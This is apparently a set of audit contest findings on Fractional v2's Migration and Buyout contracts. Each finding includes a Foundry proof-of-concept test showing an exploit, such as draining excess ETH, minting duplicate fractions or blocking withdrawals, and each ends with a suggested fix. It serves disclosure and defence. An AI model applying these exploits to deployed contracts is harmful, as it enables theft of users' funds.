Fractional v2 contest - smiling_heretic's results

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L121 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L153

Vulnerability details

Impact

It’s possible to prevent users who joined a proposal from leaving.

A similar attack can be also used to artificially lower currentPrice in migration.commit and prevent a buyout from starting.

Proof of Concept

This test added to test/Migration.t.sol completes with [FAIL. Reason: Arithmetic over/underflow]:

    function testWrongVault() public {
        initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
        address wrongVault = alice.baseVault.deployVault(
            TOTAL_SUPPLY,
            modules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            mintProof
        );

        (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
        // Migrate to a vault with no permissions (just to test out migration)
        address[] memory modules = new address[](1);
        modules[0] = address(mockModule);
        // Bob makes the proposal
        bob.migrationModule.propose(
            vault,
            modules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY * 2,
            1 ether
        );

        // Bob joins the proposal
        bob.migrationModule.join{value: 0.5 ether}(vault, 1, HALF_SUPPLY);

        // Alice joins and leaves
        alice.migrationModule.join{value: 0.5 ether}(wrongVault, 1, 0);
        alice.migrationModule.leave(vault, 1);

        // Now Bob can't leave...
        (, , uint256 totalETHRight, , , , , , ) = migrationModule.migrationInfo(
            vault,
            1
        );
        (, , uint256 totalETHWrong, , , , , , ) = migrationModule.migrationInfo(
            wrongVault,
            1
        );
        assertEq(totalETHRight, 0);
        assertEq(totalETHWrong, 0.5 ether);

        bob.migrationModule.leave(vault, 1);
    }

The idea here is that when Alice calls migration.join or migration.leave with a wrong vault as an argument (i.e. a vault different from the one that the proposal has been created with), then migrationInfo[wrongVault][_proposalId] points to a wrong place in the storage, so proposal.totalFractions and proposal.totalEth (in the correct place of the storage) don’t change.

Notice that userProposalFractions[_proposalId][alice] and userProposalEth[_proposalId][alice] still change as expected, even if the specified vault is wrong.

In this case, Alice zeroed proposal.totalEth so the following line reverts when Bob tries to leave: proposal.totalEth -= ethAmount;

Tools Used

Foundry

Recommended Mitigation Steps

Track what vault was used to create each proposal. Remove the vault argument from functions. Read the correct vault for the proposal from a mapping or from the Proposal struct instead.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L268-L269

Vulnerability details

Impact

After a successful buyout, any user can withdraw from the buyout contract much more ETH than would be her fair share.

Proof of Concept

Let’s compare testCash() test from the test/Buyout.t.sol file with the following test (here bob is another Alice’s account.):

    function testCashOutTooMuch() public {
        initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
        setUpBuyoutCash(alice, bob);

        alice.ferc1155 = new FERC1155BS(address(0), 111, token);
        bob.ferc1155 = new FERC1155BS(address(0), 222, token);
        vm.deal(buyout, 10.8 ether);
        vm.deal(bob.addr, 0 ether);

        assertEq(getFractionBalance(alice.addr), 4000);
        assertEq(getFractionBalance(bob.addr), 0);
        assertEq(getFractionBalance(buyout), 0);
        assertEq(getETHBalance(alice.addr), 100.2 ether);
        assertEq(getETHBalance(bob.addr), 0 ether);
        assertEq(getETHBalance(buyout), 10.8 ether);

        for (uint256 i = 0; i < 4000; i++) {
            alice.ferc1155.safeTransferFrom(alice.addr, bob.addr, 1, 1, "");
            bob.buyoutModule.cash(vault, burnProof);
        }

        assertEq(getFractionBalance(alice.addr), 0);
        assertEq(getFractionBalance(bob.addr), 0);
        assertEq(getFractionBalance(buyout), 0);
        assertEq(getETHBalance(alice.addr), 100.2 ether);
        assertEq(getETHBalance(bob.addr), 7.097112239836179797 ether);
        assertEq(getETHBalance(buyout), 3.702887760163820203 ether);
    }

As we can see, when Alice cashes out one fraction at a time, instead of all fractions at once, then she’s able to withdraw more than 7 ETH from the buyout contact instead of her fair share equal to 0.8 ETH (as in the original testCash() test).

This happens because each call to buyout.cash burns one fraction which decreases totalSupply but doesn’t decrease buyoutInfo[_vault].ethBalance, so the buyoutShare of each next fraction goes up.

It’s worth noting that the price of the last share is equal to the value of buyoutInfo[_vault].ethBalance from the time pont when the auction ended. So it’s clearly too much because this should be the price of all remaining shares together, not just the last one.

Tools Used

Foundry

Recommended Mitigation Steps

Add buyoutInfo[_vault].ethBalance -= buyoutShare to the buyout.cash function.

Alternatively, calculate buyoutShare like this: uint256 buyoutShare = buyoutInfo[_vault].fractionPrice * tokenBalance

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L292-L326 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L73-L82

Vulnerability details

Impact

An attacker can manipulate the result of migration.commit. She can make it always fail or artificially increase currentPrice to make it start the buyout even if targetPrice hasn’t been really exceeded.

Proof of Concept

This test added to test/Migration.t.sol passes:

    function testJoinWithdraw() public {
        initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
        (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
        // Migrate to a vault with no permissions (just to test out migration)
        address[] memory modules = new address[](1);
        modules[0] = address(mockModule);
        // Bob makes the proposal
        bob.migrationModule.propose(
            vault,
            modules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY * 2,
            1 ether
        );

        // Bob joins and withdraws
        bob.migrationModule.join{value: 0.5 ether}(vault, 1, HALF_SUPPLY);
        bob.migrationModule.withdrawContribution(vault, 1);
        bob.migrationModule.join{value: 0.5 ether}(vault, 1, HALF_SUPPLY);
        bob.migrationModule.withdrawContribution(vault, 1);
        bob.migrationModule.join{value: 0.5 ether}(vault, 1, HALF_SUPPLY);
        bob.migrationModule.withdrawContribution(vault, 1);

        (, , , uint256 totalFractions, , , , , ) = migrationModule
            .migrationInfo(vault, 1);
        assertEq(totalFractions, TOTAL_SUPPLY + HALF_SUPPLY);
    }

As we can see proposal.totalFractions can be arbitrarily increased without being backed by actual fractions sent to the migration contract.

If proposal.totalFractions is less than totalSupply then it increases currentPrice in migration.commit. If proposal.targetPrice is exceeded using this method, then the buyout will start because starting a buyout simply transfers full balance of fractions from the migration contract to the buyout contract without checking proposal.totalFractions.

If proposal.totalFractions is more than totalSupply then calculation of currentPrice will revert because of underflow.

Tools Used

Foundry

Recommended Mitigation Steps

Add checks to ensure that withdrawContribution can be called only when it’s supposed to.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L116-L118 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L148-L150 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L189-L191

Vulnerability details

Impact

Effectively, any user has veto power over any migration proposal.

Proof of Concept

Bob civilly starts a proposal for vault A by calling migration.propose

Alice doesn’t like the proposal so she starts a buyout for vault A by calling buyout.start directly. She sends 1 wei and 0 fractions when calling buyout.start, so fractionPrice is zero.

There can be only one buyout for vault A at any point in time. Because auction state is now set to LIVE, users can’t call migration.join, migration.leave or migration.commit for this vault (it requires state INACTIVE).

In an unlikely event that some users sold their fractions in this buyout, Alice “buys“ them all for fractionPrice == 0 in the rejection period. That ensures that the buyout fails.

As soon as the rejection period ends, she quickly ends the buyout and starts a new one (again 0 fractions, 1 wei of ETH).

Now Alice has blocked all interactions with the migration proposal for 8 days (2 * rejection period). The proposal expired after 7 days.

Tools Used

Foundry

Recommended Mitigation Steps

Maybe add some checks/mechanism that prevents starting a buyout for a vault directly when there is an active proposal for this vault?

Alternatively, allow more than one buyout at once for one vault… But it looks like this approach would introduce many edge cases that need to be carefully thought through.

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L433-L482

Vulnerability details

Impact

All fraction minted for a new vault after a successful migration proposal can be stolen by any user who has joined this proposal.

Proof of Concept

This test added to test/Migration.t.sol passes:

    function testMigrateFractionsManyTimes() public {
        testSettle();
        (, , , , address newVault, , , , ) = migrationModule.migrationInfo(
            vault,
            1
        );
        (address newToken, uint256 id) = registry.vaultToToken(newVault);

        assertEq(getFractionBalance(alice.addr), 4000);
        alice.migrationModule.migrateFractions(vault, 1);
        assertEq(IERC1155(newToken).balanceOf(alice.addr, id), 6000);
        alice.migrationModule.migrateFractions(vault, 1);
        assertEq(IERC1155(newToken).balanceOf(alice.addr, id), 12000);
    }

Nothing prevents a user from calling migrateFractions many times and getting the same share each time.

Tools Used

Foundry

Recommended Mitigation Steps

Update userProposalEth[_proposalId][msg.sender] and userProposalFractions[_proposalId][msg.sender] in the migrateFractions function (i.e. set them to zero).

Lines of code

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L418 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L391 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L365 https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L341

Vulnerability details

Impact

While there’s no direct financial incentive to send tokens from a vault to address zero, someone malicious or motivated otherwise can do it.

Proof of Concept

These tests added to test/Migration.t.sol do pass:

    function testSettle() public {
        initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true);
        (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
        // Migrate to a vault with no permissions (just to test out migration)
        address[] memory newModules = new address[](2);

        newModules[0] = migration;
        newModules[1] = modules[1];

        // Bob makes the proposal
        bob.migrationModule.propose(
            vault,
            newModules,
            nftReceiverPlugins,
            nftReceiverSelectors,
            TOTAL_SUPPLY * 2,
            1 ether
        );
        // Bob joins the proposal
        bob.migrationModule.join{value: 1 ether}(vault, 1, HALF_SUPPLY);
        // Alice joins the proposal
        alice.migrationModule.join{value: 1 ether}(vault, 1, 1000);

        vm.warp(proposalPeriod + 1);
        // bob calls commit to kickoff the buyout process
        bool started = bob.migrationModule.commit(vault, 1);
        assertTrue(started);

        vm.warp(proposalPeriod + rejectionPeriod + 2);
        bob.buyoutModule.end(vault, burnProof);

        // bob.migrationModule.settleVault(vault, 1);
        // bob.migrationModule.settleFractions(vault, 1, mintProof);
    }

    function testWithdrawERC20ToZeroAddress() public {
        testSettle();
        MockERC20(erc20).mint(vault, 10);

        bob.migrationModule.migrateVaultERC20(
            vault,
            1,
            erc20,
            10,
            erc20TransferProof
        );
        assertEq(MockERC20(erc20).balanceOf(address(0)), 10);
    }

Notice that two last lines of testSettle() are commented out.

The idea here is that after a buyout ends with success but before someone calls migration.settleVault, there’s a window when conditions necessary to call migrateERCNumber functions are met (i.e. proposer is the migration contract and buyout state is SUCCESS), but migrationInfo[_vault][_proposalId].newVault is still equal to address(0).

Tools Used

Foundry

Recommended Mitigation Steps

Add checks to ensure that migrateERCNumber functions revert if newVault is address zero.